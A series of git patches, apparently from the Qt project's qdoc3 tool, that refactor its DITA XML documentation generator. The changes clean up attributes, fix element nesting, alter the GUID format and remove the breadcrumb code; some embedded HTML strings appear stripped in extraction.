CodeMarker* marker, - const Node* relative, - bool nameAlignment = false); + const Node* relative); void generateFullName(const Node* apparentNode, const Node* relative, -- cgit v0.12 From 94cae67da50d68f70d728a7fb231de89d47263db Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 6 Oct 2010 12:32:34 +0200 Subject: qdoc: Cleaned up a lot of unneeded outputclass attributes. --- tools/qdoc3/ditaxmlgenerator.cpp | 30 +++--------------------------- tools/qdoc3/ditaxmlgenerator.h | 4 +--- 2 files changed, 4 insertions(+), 30 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 5458b7c..9e41a00 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1178,10 +1178,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("simpletable"); xmlWriter().writeAttribute("outputclass","valuelist"); xmlWriter().writeStartElement("sthead"); - if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd"); - else - xmlWriter().writeAttribute("outputclass","even"); xmlWriter().writeStartElement("stentry"); xmlWriter().writeCharacters("Constant"); xmlWriter().writeEndElement(); // @@ -1234,14 +1230,12 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, else { // (atom->string() == ATOM_LIST_VALUE) xmlWriter().writeStartElement("strow"); xmlWriter().writeStartElement("stentry"); - xmlWriter().writeAttribute("outputclass","topAlign"); xmlWriter().writeStartElement("tt"); xmlWriter().writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), relative)))); xmlWriter().writeEndElement(); //
    xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); - xmlWriter().writeAttribute("outputclass","topAlign"); QString itemValue; if (relative->type() == Node::Enum) { @@ -1271,7 +1265,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (threeColumnEnumValueTable) { xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); - xmlWriter().writeAttribute("outputclass","topAlign"); if (matchAhead(atom, Atom::ListItemRight)) xmlWriter().writeCharacters(" "); } @@ -1378,7 +1371,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, in_para = false; } xmlWriter().writeStartElement("table"); - xmlWriter().writeAttribute("outputclass","generic"); numTableRows = 0; if (tableColumnCount != 0) { qDebug() << "ERROR: Nested tables!"; @@ -1428,10 +1420,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } xmlWriter().writeStartElement("row"); xmlWriter().writeAttribute("valign","top"); - if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd"); - else - xmlWriter().writeAttribute("outputclass","even"); break; case Atom::TableRowRight: xmlWriter().writeEndElement(); // @@ -1664,7 +1652,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark s = detailSections.begin(); while (s != detailSections.end()) { if ((*s).name == "Classes") { - writeNestedClasses((*s),nsn,marker); + writeNestedClasses((*s),nsn); break; } ++s; @@ -2724,7 +2712,6 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, xmlWriter().writeAttribute("cols","2"); xmlWriter().writeStartElement("tbody"); - int row = 0; foreach (const QString& name, nodeMap.keys()) { const Node* node = nodeMap[name]; @@ -2732,10 +2719,6 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, continue; xmlWriter().writeStartElement("row"); - if (++row % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd topAlign"); - else - xmlWriter().writeAttribute("outputclass","even topAlign"); xmlWriter().writeStartElement("entry"); xmlWriter().writeStartElement("p"); generateFullName(node, relative, marker); @@ -2919,7 +2902,7 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, Output a

    element to contain all the

    elements. */ xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","compactlist flowListDiv"); + xmlWriter().writeAttribute("outputclass","compactlist"); for (int i=0; i } xmlWriter().writeStartElement("dl"); - if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","flowList odd"); - else - xmlWriter().writeAttribute("outputclass","flowList even"); xmlWriter().writeStartElement("dlentry"); xmlWriter().writeStartElement("dt"); xmlWriter().writeAttribute("outputclass","alphaChar"); @@ -3267,7 +3246,6 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { xmlWriter().writeStartElement("li"); - xmlWriter().writeAttribute("outputclass","fn"); QString text; text.setNum((*p).second); text += " "; @@ -4416,7 +4394,6 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, m = section.members.begin(); while (m != section.members.end()) { xmlWriter().writeStartElement("li"); - xmlWriter().writeAttribute("outputclass", "fn"); generateQmlItem(*m,relative,marker,true); xmlWriter().writeEndElement(); // ++m; @@ -5484,8 +5461,7 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, Write the nested class elements. */ void DitaXmlGenerator::writeNestedClasses(const Section& s, - const Node* n, - CodeMarker* marker) + const Node* n) { if (s.members.isEmpty()) return; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 8bd9406..c0cb0db 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -119,9 +119,7 @@ class DitaXmlGenerator : public PageGenerator void writeFunctions(const Section& s, const Node* n, CodeMarker* marker); - void writeNestedClasses(const Section& s, - const Node* n, - CodeMarker* marker); + void writeNestedClasses(const Section& s, const Node* n); void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, CodeMarker* marker); void writeTypedefs(const Section& s, CodeMarker* marker); -- cgit v0.12 From e4f69ae9bd749db3defababa226b4d28051558ce Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 13 Oct 2010 10:18:41 +0200 Subject: qdoc: Fix const problem. --- tools/qdoc3/ditaxmlgenerator.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9e41a00..ec82344 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -4412,7 +4412,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, CodeMarker* marker) { QString marked; - QmlPropertyNode* qpn = 0; + const QmlPropertyNode* qpn = 0; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast(node); NodeList::ConstIterator p = qpgn->childNodes().begin(); @@ -4421,7 +4421,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, if ((*p)->type() == Node::QmlProperty) { qpn = static_cast(*p); xmlWriter().writeStartElement("li"); - writeGuidAttribute(qpn); + writeGuidAttribute((Node*)qpn); QString attr; if (!qpn->isWritable(myTree)) attr = "read-only"; -- cgit v0.12 From d32706acebf37bd1e93e1c045cb46c7898ffed19 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 14 Oct 2010 13:11:03 +0200 Subject: qdoc: Fixed bug where cpp and h files not copied for examples. --- tools/qdoc3/ditaxmlgenerator.cpp | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index ec82344..9715b9d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -47,6 +47,7 @@ #include "codeparser.h" #include "ditaxmlgenerator.h" #include "node.h" +#include "quoter.h" #include "separator.h" #include "tree.h" #include @@ -1983,7 +1984,19 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker return; } - if (!fake->doc().isEmpty()) { + if (fake->doc().isEmpty()) { + if (fake->subType() == Node::File) { + xmlWriter().writeStartElement("body"); + Text text; + Quoter quoter; + Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); + QString code = quoter.quoteTo(fake->location(), "", ""); + text << Atom(Atom::Code, code); + generateText(text, fake, marker); + xmlWriter().writeEndElement(); // + } + } + else { xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { writeDetailedDescription(fake, marker, false, QString("Detailed Description")); @@ -2000,7 +2013,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateAnnotatedList(fake, marker, groupMembersMap); } - xmlWriter().writeEndElement(); // } xmlWriter().writeEndElement(); // -- cgit v0.12 From e7d0747e31fbf0226a7cb639ca52f984cdd8d3ea Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 14 Oct 2010 14:09:08 +0200 Subject: qdoc: Included file path as small-subtitle for example source files. --- tools/qdoc3/ditaxmlgenerator.cpp | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9715b9d..b9ceb0a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1986,11 +1986,17 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (fake->doc().isEmpty()) { if (fake->subType() == Node::File) { - xmlWriter().writeStartElement("body"); Text text; Quoter quoter; + xmlWriter().writeStartElement("body"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass", "small-subtitle"); + text << fake->subTitle(); + generateText(text, fake, marker); + xmlWriter().writeEndElement(); //

    Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); + text.clear(); text << Atom(Atom::Code, code); generateText(text, fake, marker); xmlWriter().writeEndElement(); // -- cgit v0.12 From 101148b86d356295b559c60c304714e8a07aafd6 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 15 Oct 2010 13:35:56 +0200 Subject: qdoc: Fixed invalid element nesting in some elements. --- tools/qdoc3/ditaxmlgenerator.cpp | 67 ++++++++++++++++++++++++---------------- 1 file changed, 41 insertions(+), 26 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b9ceb0a..42f6d1d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1895,49 +1895,66 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateHeader(fake, fullTitle); generateBrief(fake, marker); // + xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { generateStatus(fake, marker); if (moduleNamespaceMap.contains(fake->name())) { - writeTargetAndHeader("namespaces","Namespaces","h2"); + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","namespaces"); + xmlWriter().writeStartElement("ttitle"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Namespaces"); + xmlWriter().writeEndElement(); // generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); + xmlWriter().writeEndElement(); //
    } if (moduleClassMap.contains(fake->name())) { - writeTargetAndHeader("classes","Classes","h2"); + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","classes"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Classes"); + xmlWriter().writeEndElement(); // generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); + xmlWriter().writeEndElement(); //
    } } else if (fake->subType() == Node::HeaderFile) { generateStatus(fake, marker); - xmlWriter().writeStartElement("ul"); - QString membersLink = generateListOfAllMemberFile(fake, marker); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - QString obsoleteLink = generateLowStatusMemberFile(fake, marker, CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - QString compatLink = generateLowStatusMemberFile(fake, marker, CodeMarker::Compat); - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - xmlWriter().writeEndElement(); // + if (!membersLink.isEmpty() || !obsoleteLink.isEmpty() || !compatLink.isEmpty()) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","member-lists"); + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //
    + } } else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); - generateQmlInherits(qml_cn, marker); + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","apidesc"); generateQmlInstantiates(qml_cn, marker); - generateBrief(qml_cn, marker); + generateQmlInherits(qml_cn, marker); generateQmlInheritedBy(qml_cn, marker); + xmlWriter().writeEndElement(); //
    sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); s = sections.begin(); while (s != sections.end()) { @@ -1981,6 +1998,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } ++s; } + xmlWriter().writeEndElement(); // return; } @@ -1988,7 +2006,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (fake->subType() == Node::File) { Text text; Quoter quoter; - xmlWriter().writeStartElement("body"); xmlWriter().writeStartElement("p"); xmlWriter().writeAttribute("outputclass", "small-subtitle"); text << fake->subTitle(); @@ -1999,11 +2016,9 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker text.clear(); text << Atom(Atom::Code, code); generateText(text, fake, marker); - xmlWriter().writeEndElement(); // } } else { - xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { writeDetailedDescription(fake, marker, false, QString("Detailed Description")); } @@ -2019,8 +2034,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateAnnotatedList(fake, marker, groupMembersMap); } - xmlWriter().writeEndElement(); // } + xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -2219,13 +2234,13 @@ void DitaXmlGenerator::generateHeader(const Node* node, case Node::File: outputclass = "file"; break; - case Node::Image: + case Node::Image: // not used outputclass = "image"; break; case Node::Module: outputclass = "module"; break; - case Node::ExternalPage: + case Node::ExternalPage: // not used outputclass = "externalpage"; break; case Node::QmlClass: @@ -2261,9 +2276,9 @@ void DitaXmlGenerator::generateHeader(const Node* node, xmlWriter().writeAttribute("id",node->guid()); if (!outputclass.isEmpty()) xmlWriter().writeAttribute("outputclass",outputclass); - xmlWriter().writeStartElement(nameElement); + xmlWriter().writeStartElement(nameElement); // or <apiName> xmlWriter().writeCharacters(name); - xmlWriter().writeEndElement(); // <nameElement> + xmlWriter().writeEndElement(); // or } /*! -- cgit v0.12 From 410f203fd3542af182a6fe4406cc5094b65a90f8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 18 Oct 2010 13:22:40 +0200 Subject: qdoc: Changed GUIDs from "{xxxxxx}" to "id-xxxxxxx". --- tools/qdoc3/ditaxmlgenerator.cpp | 25 ++++--------------------- tools/qdoc3/ditaxmlgenerator.h | 3 --- tools/qdoc3/htmlgenerator.cpp | 1 + tools/qdoc3/node.cpp | 16 +++++++++------- tools/qdoc3/node.h | 5 ++--- 5 files changed, 16 insertions(+), 34 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 42f6d1d..9108d7b 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -559,7 +559,8 @@ QString DitaXmlGenerator::lookupGuid(QString text) QMap::const_iterator i = name2guidMap.find(text); if (i != name2guidMap.end()) return i.value(); - QString guid = QUuid::createUuid().toString(); + QString t = QUuid::createUuid().toString(); + QString guid = "id-" + t.mid(1,t.length()-2); name2guidMap.insert(text,guid); return guid; } @@ -578,7 +579,8 @@ QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& tex GuidMap::const_iterator i = gm->find(text); if (i != gm->end()) return i.value(); - QString guid = QUuid::createUuid().toString(); + QString t = QUuid::createUuid().toString(); + QString guid = "id-" + t.mid(1,t.length()-2); gm->insert(text,guid); return guid; } @@ -1840,25 +1842,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } /*! - Write a paragraph for the \a target and a poaragraph for - the \a header. Use the \a attribute for the \a header. - */ -void DitaXmlGenerator::writeTargetAndHeader(const QString& target, - const QString& header, - const QString& attribute) -{ - xmlWriter().writeStartElement("p"); - writeGuidAttribute(registerRef(target)); - xmlWriter().writeAttribute("outputclass","target"); - xmlWriter().writeCharacters(header); - xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass",attribute); - xmlWriter().writeCharacters(header); - xmlWriter().writeEndElement(); //

    -} - -/*! Write a list item for a \a link with the given \a text. */ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index c0cb0db..e564f58 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -108,9 +108,6 @@ class DitaXmlGenerator : public PageGenerator virtual QString linkForNode(const Node* node, const Node* relative); virtual QString refForAtom(Atom* atom, const Node* node); - void writeTargetAndHeader(const QString& target, - const QString& header, - const QString& attribute); void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 726196f..19b86e0 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -56,6 +56,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index ce53b86..f4736f3 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -46,6 +46,7 @@ #include "node.h" #include "tree.h" #include "codemarker.h" +#include #include QT_BEGIN_NAMESPACE @@ -103,7 +104,6 @@ Node::Node(Type type, InnerNode *parent, const QString& name) { if (par) par->addChild(this); - //uuid = QUuid::createUuid(); } /*! @@ -270,14 +270,16 @@ QString Node::fileBase() const } /*! - Returns this node's Universally Unique IDentifier. - If its UUID has not yet been created, it is created - first. + Returns this node's Universally Unique IDentifier as a + QString. Creates the UUID first, if it has not been created. */ -QUuid Node::guid() const +QString Node::guid() const { - if (uuid.isNull()) - uuid = QUuid::createUuid(); + if (uuid.isEmpty()) { + QUuid quuid = QUuid::createUuid(); + QString t = quuid.toString(); + uuid = "id-" + t.mid(1,t.length()-2); + } return uuid; } diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 40b78ef..0b493ee 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -55,7 +55,6 @@ #include "doc.h" #include "location.h" #include "text.h" -#include QT_BEGIN_NAMESPACE @@ -191,7 +190,7 @@ class Node void clearRelated() { rel = 0; } virtual QString fileBase() const; - QUuid guid() const; + QString guid() const; QString ditaXmlHref(); QString extractClassName(const QString &string) const; @@ -223,7 +222,7 @@ class Node QString u; QString sinc; QString tpl; - mutable QUuid uuid; + mutable QString uuid; }; class FunctionNode; -- cgit v0.12 From 8f3e9dc22c5d4d72984473139d2c9a382c79b963 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 18 Oct 2010 14:35:04 +0200 Subject: qdoc: Added extraneous enum Definition File elements Removed bread crumb generator from DITA XML generator. --- tools/qdoc3/ditaxmlgenerator.cpp | 168 +++++---------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 - 2 files changed, 21 insertions(+), 150 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9108d7b..b69f511 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2022,60 +2022,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // } -#if 0 -zzz - /* - Generate the TOC for the new doc format. - Don't generate a TOC for the home page. - */ - if (fake->name() != QString("index.html")) - generateTableOfContents(fake,marker,0); - - generateTitle(fullTitle, - Text() << fake->subTitle(), - subTitleSize, - fake, - marker); - - -#endif - -#if 0 -zzz - sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "\n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateSection(s->members, fake, marker, CodeMarker::Summary); - generateSectionInheritedList(*s, relative, marker, name_alignment); - ++s; - } - - Text brief = fake->doc().briefText(); - if (fake->subType() == Node::Module && !brief.isEmpty()) { - out() << "\n"; - out() << "
    \n"; // QTBUG-9504 - out() << "

    " << "Detailed Description" << "

    \n"; - } - else - out() << "
    \n"; // QTBUG-9504 - - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "
    \n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedMember(*m, fake, marker); - ++m; - } - ++s; - } -#endif - /*! Returns "xml" for this subclass of class Generator. */ @@ -2085,95 +2031,6 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const } /*! - zzz - Output breadcrumb list in the html file. - */ -void DitaXmlGenerator::generateBreadCrumbs(const QString& title, - const Node *node, - CodeMarker *marker) -{ - Text breadcrumb; - if (node->type() == Node::Class) { - const ClassNode* cn = static_cast(node); - QString name = node->moduleName(); - out() << "
  • All Modules
  • "; - if (!name.isEmpty()) { - out() << "
  • "; - breadcrumb << Atom(Atom::AutoLink,name); - generateText(breadcrumb, node, marker); - out() << "
  • \n"; - } - breadcrumb.clear(); - if (!cn->name().isEmpty()) { - out() << "
  • "; - breadcrumb << Atom(Atom::AutoLink,cn->name()); - generateText(breadcrumb, 0, marker); - out() << "
  • \n"; - } - } - else if (node->type() == Node::Fake) { - const FakeNode* fn = static_cast(node); - if (node->subType() == Node::Module) { - out() << "
  • All Modules
  • "; - QString name = node->name(); - if (!name.isEmpty()) { - out() << "
  • "; - breadcrumb << Atom(Atom::AutoLink,name); - generateText(breadcrumb, 0, marker); - out() << "
  • \n"; - } - } - else if (node->subType() == Node::Group) { - if (fn->name() == QString("modules")) - out() << "
  • All Modules
  • "; - else { - out() << "
  • name() << "\">" << title - << "
  • "; - } - } - else if (node->subType() == Node::Page) { - if (fn->name() == QString("examples.html")) { - out() << "
  • Examples
  • "; - } - else if (fn->name().startsWith("examples-")) { - out() << "
  • Examples
  • "; - out() << "
  • name() << "\">" << title - << "
  • "; - } - else if (fn->name() == QString("namespaces.html")) { - out() << "
  • All Namespaces
  • "; - } - else { - out() << "
  • name() << "\">" << title - << "
  • "; - } - } - else if (node->subType() == Node::QmlClass) { - out() << "
  • QML Elements
  • "; - out() << "
  • name() << "\">" << title - << "
  • "; - } - else if (node->subType() == Node::Example) { - out() << "
  • Examples
  • "; - QStringList sl = fn->name().split('/'); - QString name = "examples-" + sl.at(0) + ".html"; - QString t = CodeParser::titleFromName(name); - out() << "
  • " - << t << "
  • "; - out() << "
  • " - << title << "
  • "; - } - } - else if (node->type() == Node::Namespace) { - const NamespaceNode* nsn = static_cast(node); - out() << "
  • All Namespaces
  • "; - out() << "
  • " << title - << "
  • "; - } -} - -/*! Writes an XML file header to the current XML stream. This depends on which kind of DITA XML file is being generated, which is determined by the \a node type and subtype and the @@ -4683,7 +4540,7 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) */ void DitaXmlGenerator::writeLocation(const Node* n) { - QString s1, s2, s3; + QString s1, s2, s3, s4, s5, s6; if (n->type() == Node::Class || n->type() == Node::Namespace) { s1 = CXXCLASSAPIITEMLOCATION; s2 = CXXCLASSDECLARATIONFILE; @@ -4698,6 +4555,9 @@ void DitaXmlGenerator::writeLocation(const Node* n) s1 = CXXENUMERATIONAPIITEMLOCATION; s2 = CXXENUMERATIONDECLARATIONFILE; s3 = CXXENUMERATIONDECLARATIONFILELINE; + s4 = CXXENUMERATIONDEFINITIONFILE; + s5 = CXXENUMERATIONDEFINITIONFILELINESTART; + s6 = CXXENUMERATIONDEFINITIONFILELINEEND; } else if (n->type() == Node::Typedef) { s1 = CXXTYPEDEFAPIITEMLOCATION; @@ -4720,9 +4580,23 @@ void DitaXmlGenerator::writeLocation(const Node* n) QString lineNr; xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); xmlWriter().writeEndElement(); // DeclarationFileLine> - - // not included: , , - // and + if (!s4.isEmpty()) { // zzz This stuff is temporary, I think. + xmlWriter().writeStartElement(s4); + xmlWriter().writeAttribute("name","filePath"); + xmlWriter().writeAttribute("value",n->location().filePath()); + xmlWriter().writeEndElement(); // DefinitionFile> + xmlWriter().writeStartElement(s5); + xmlWriter().writeAttribute("name","lineNumber"); + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // DefinitionFileLineStart> + xmlWriter().writeStartElement(s6); + xmlWriter().writeAttribute("name","lineNumber"); + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // DefinitionFileLineEnd> + } + + // not included: , , + // and xmlWriter().writeEndElement(); // ApiItemLocation> } diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index e564f58..30c398b 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -133,9 +133,6 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker, const Atom* atom = 0); - void generateBreadCrumbs(const QString& title, - const Node* node, - CodeMarker* marker); void generateHeader(const Node* node, const QString& name, bool subpage = false); -- cgit v0.12 From c004bfbfcdb5110ae1545e013ca555a9f4b75337 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 18 Oct 2010 15:26:33 +0200 Subject: qdoc: Fixed

    inside of

    for legalese text. --- tools/qdoc3/ditaxmlgenerator.cpp | 22 ++++++++++++++++------ tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 17 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b69f511..27f36ff 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -64,6 +64,7 @@ int DitaXmlGenerator::id = 0; bool DitaXmlGenerator::inApiDesc = false; bool DitaXmlGenerator::inSection = false; bool DitaXmlGenerator::inDetailedDescription = false; +bool DitaXmlGenerator::inLegaleseText = false; #define cxxapi_d_xref Doc::alias("cxxapi-d-xref") #define cxxclass Doc::alias("cxxclass") @@ -1122,11 +1123,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, // nothing break; case Atom::LegaleseLeft: - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","legalese"); + inLegaleseText = true; break; case Atom::LegaleseRight: - xmlWriter().writeEndElement(); //

    + inLegaleseText = false; break; case Atom::LineBreak: xmlWriter().writeEmptyElement("br"); @@ -1309,6 +1309,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ParaLeft: xmlWriter().writeStartElement("p"); + if (inLegaleseText) + xmlWriter().writeAttribute("outputclass","legalese"); in_para = true; break; case Atom::ParaRight: @@ -4547,9 +4549,17 @@ void DitaXmlGenerator::writeLocation(const Node* n) s3 = CXXCLASSDECLARATIONFILELINE; } else if (n->type() == Node::Function) { - s1 = CXXFUNCTIONAPIITEMLOCATION; - s2 = CXXFUNCTIONDECLARATIONFILE; - s3 = CXXFUNCTIONDECLARATIONFILELINE; + FunctionNode* fn = const_cast(static_cast(n)); + if (fn->isMacro()) { + s1 = CXXDEFINEAPIITEMLOCATION; + s2 = CXXDEFINEDECLARATIONFILE; + s3 = CXXDEFINEDECLARATIONFILELINE; + } + else { + s1 = CXXFUNCTIONAPIITEMLOCATION; + s2 = CXXFUNCTIONDECLARATIONFILE; + s3 = CXXFUNCTIONDECLARATIONFILELINE; + } } else if (n->type() == Node::Enum) { s1 = CXXENUMERATIONAPIITEMLOCATION; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 30c398b..0a9fc4a 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -308,6 +308,7 @@ class DitaXmlGenerator : public PageGenerator static bool inApiDesc; static bool inSection; static bool inDetailedDescription; + static bool inLegaleseText; QStack xmlWriterStack; }; -- cgit v0.12 From c0836f9101f48c3c37ea477c66c49fd3dc08dfb5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 12:36:14 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 66 ++++++++++--------- tools/qdoc3/doc.cpp | 4 +- tools/qdoc3/doc.h | 2 +- 